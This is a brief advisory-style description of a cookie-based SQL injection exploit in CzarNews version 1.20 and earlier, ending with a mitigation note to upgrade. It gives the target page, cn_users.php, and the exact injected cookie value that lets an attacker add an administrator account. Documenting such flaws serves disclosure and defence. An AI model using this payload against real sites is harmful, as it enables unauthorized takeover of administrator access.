CzarNews <= v1.20 (Cookie) Remote SQL Injection Exploit

This exploit allows an attacker to add a new admin with their own credentials by exploiting a SQL injection vulnerability in CzarNews version 1.20. The exploit is executed by sending a POST request to the cn_users.php page with the malicious cookie recook=' or '1=1,' or '1=1. If the exploit is successful, the attacker will be able to add a new administrator with their own credentials.

Mitigation:

Upgrade to the latest version of CzarNews, which is not vulnerable to this exploit.
